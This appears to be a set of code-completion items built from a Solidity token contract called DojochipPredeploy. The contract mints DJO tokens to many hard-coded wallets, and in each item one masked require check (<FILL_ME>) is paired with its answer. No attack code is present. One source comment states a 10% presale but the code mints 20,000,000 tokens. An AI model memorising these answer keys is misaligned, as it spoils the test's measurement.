_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0xD4221487833D02E61c91B40b631C2605472D4950]+_balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]+_balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]+_balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]+_balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]+_balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]+_balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]+_balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]+_balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]+_balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]+_balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]+_balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]+_balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]+_balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]+_balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b]==8_000_000ether | 62,345 | _balances[0xD4221487833D02E61c91B40b631C2605472D4950]+_balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]+_balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]+_balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]+_balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]+_balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]+_balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]+_balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]+_balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]+_balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]+_balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]+_balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]+_balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]+_balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]+_balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b]==8_000_000ether |
"failed here" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(<FILL_ME>)
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]+_balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]+_balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]+_balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435]==2_000_000ether,"failed here" | 62,345 | _balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]+_balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]+_balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]+_balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435]==2_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
